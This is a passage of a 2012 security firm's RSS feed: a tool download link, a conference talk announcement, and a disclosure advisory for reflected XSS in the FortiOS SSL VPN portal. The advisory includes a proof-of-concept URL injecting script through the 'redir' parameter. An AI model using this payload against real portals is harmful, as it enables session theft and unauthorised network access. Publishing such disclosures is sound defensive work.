<p class="MsoNormal">Please download this tool from <a href="https://github.com/batistam/VMInjector">GitHub</a></p>
<p class="MsoNormal">
<p class="MsoNormal">
<p class="MsoNormal">
]]></content:encoded>
			<wfw:commentRss>http://www.secforce.com/blog/2012/11/vminjector/feed/</wfw:commentRss>
		</item>
		<item>
		<title>SECFORCE presented at the IGEM conference</title>
		<link>http://www.secforce.com/blog/2012/11/secforce-presented-at-the-igem-conference/</link>
		<comments>http://www.secforce.com/blog/2012/11/secforce-presented-at-the-igem-conference/#comments</comments>
		<pubDate>Wed, 14 Nov 2012 10:59:52 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Business Continuity]]></category>

		<category><![CDATA[Penetration Testing]]></category>

		<category><![CDATA[SECFORCE]]></category>

		<category><![CDATA[gas energy security]]></category>

		<category><![CDATA[IGEM]]></category>

		<category><![CDATA[scada]]></category>

		<guid isPermaLink="false">http://www.secforce.com/blog/?p=259</guid>
		<description><![CDATA[The gas and energy sectors face significant challenges in regard to IT security. An evolving industry where reliance on IT systems has become key, being a potential target of terrorism attacks and where high availability and business continuity is a must, IT security shouldn&#8217;t be overlooked.
SECFORCE presented the challenges faced by Gas and Energy corporations [...]]]></description>
			<content:encoded><![CDATA[<p>The gas and energy sectors face significant challenges in regard to IT security. An evolving industry where reliance on IT systems has become key, being a potential target of terrorism attacks and where high availability and business continuity is a must, IT security shouldn&#8217;t be overlooked.</p>
<p>SECFORCE presented the challenges faced by Gas and Energy corporations in the IGEM annual conference:</p>
<p><a href="http://www.igem.org.uk/news-events/annual-conference-2012.aspx">http://www.igem.org.uk/news-events/annual-conference-2012.aspx</a></p>
<p><a href="http://www.secforce.com/blog/wp-content/uploads/2012/10/logo.jpg"><img class="aligncenter size-medium wp-image-262" title="IGEM" src="http://www.secforce.com/blog/wp-content/uploads/2012/10/logo.jpg" alt="" width="129" height="115" /></a></p>
<p>The talk provided an overview of the threats of the companies in the energy sector, the current threats affecting SCADA systems, attackers&#8217; motivations and a roadmap towards an increase on security.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.secforce.com/blog/2012/11/secforce-presented-at-the-igem-conference/feed/</wfw:commentRss>
		</item>
		<item>
		<title>FortiOS Remote Access Web Portal - XSS Vulnerability</title>
		<link>http://www.secforce.com/blog/2012/11/fortios-xss-vulnerability/</link>
		<comments>http://www.secforce.com/blog/2012/11/fortios-xss-vulnerability/#comments</comments>
		<pubDate>Mon, 05 Nov 2012 09:58:40 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Penetration Testing]]></category>

		<category><![CDATA[Phishing]]></category>

		<category><![CDATA[Vulnerabilities]]></category>

		<category><![CDATA[exploit]]></category>

		<category><![CDATA[cross site scripting]]></category>

		<category><![CDATA[Fortinet]]></category>

		<category><![CDATA[ssl vpn]]></category>

		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://www.secforce.com/blog/?p=236</guid>
		<description><![CDATA[Overview:
Fortinet delivers a comprehensive portfolio of security gateways and complementary products. FortiGate platforms integrate the FortiOS™ operating system with FortiASIC™ processors and the latest-generation CPUs to provide comprehensive, high-performance security. By using a specially crafted URL in an HTTP request, it is possible to achieve an XSS attack, potentially giving access to confidential information, such [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Overview:</strong></p>
<p><span><span>Fortinet delivers a comprehensive portfolio of security gateways and complementary products. </span>FortiGate platforms integrate the FortiOS™ operating system with FortiASIC™ processors and the latest-generation CPUs to provide comprehensive, high-performance security. By using a specially crafted URL in an HTTP request, it is possible to achieve an XSS attack, potentially giving access to confidential information, such as session cookies.</span></p>
<p><strong>Description:</strong></p>
<p>Fortinet FortiOS contains a flaw that allows a non-persistent cross-site scripting (XSS) attack. The input passed to <em>redir</em> parameter at http://x.x.x.x/remote/logincheck is not properly sanitized. It is possible to inject the <em><em>redir </em></em>parameter in a POST request as a data parameter or trough a GET request as a URL parameter. This may allow an attacker to execute arbitrary script code in a user&#8217;s browser.</p>
<p>As this range of products are used for SSL VPN authentication, this issue can be exploited to mount an attack and potentially gain unauthorised access to the target internal network.</p>
<p><strong>Affected Products:</strong></p>
<p><strong></strong>Found and tested on: SSLVPN-FGT200B  Remote Access Web Portal, but its known not to be the only one affected.</p>
<p><strong>Proof of Concept:</strong></p>
<p style="text-align: left; ">https://x.x.x.x/remote/logincheck?magic=&amp;username=&amp;redir=<strong><strong><em>&#8220;};alert(&#8217;XSS&#8217;);{&#8221;</em></strong></strong>&amp;grpid=&amp;code2=&amp;credential2=&amp;code=&amp;just_logged_in=1&amp;reqid=0&amp;cre</p>
<p><a href="http://www.secforce.com/blog/wp-content/uploads/2012/08/poc1.jpg"><img class="alignnone size-full wp-image-245" title="fortiOS-xss-poc" src="http://www.secforce.com/blog/wp-content/uploads/2012/08/poc1.jpg" alt="" width="500" height="255" /></a></p>
<p><strong>Figure 1: Example XSS on a SSLVPN-FGT200B</strong></p>
<p><strong>Source Code Result:</strong></p>
<p><em><span>&lt;script language = &#8220;javascript&#8221;&gt; function redir() { top.location=&#8221;</span><strong><em>&#8220;};alert(&#8217;XSS&#8217;);{&#8221;</em></strong><span>&#8220;; } &lt;/script&gt;</span></em></p>
<p><span style="font-weight: bold; ">Solution:</span></p>
<p>The vendor has released an update of FortiOS. Version <span>FortiOS </span><span>4.3.7 fixes this issue</span>.</p>
<p><strong>History:</strong></p>
<p>Discovered: 14/03/2012 (Marco Batista)<br />
Vendor Notified: 18/04/2012<br />
Disclosed: 02/11/2012</p>
]]></content:encoded>
			<wfw:commentRss>http://www.secforce.com/blog/2012/11/fortios-xss-vulnerability/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
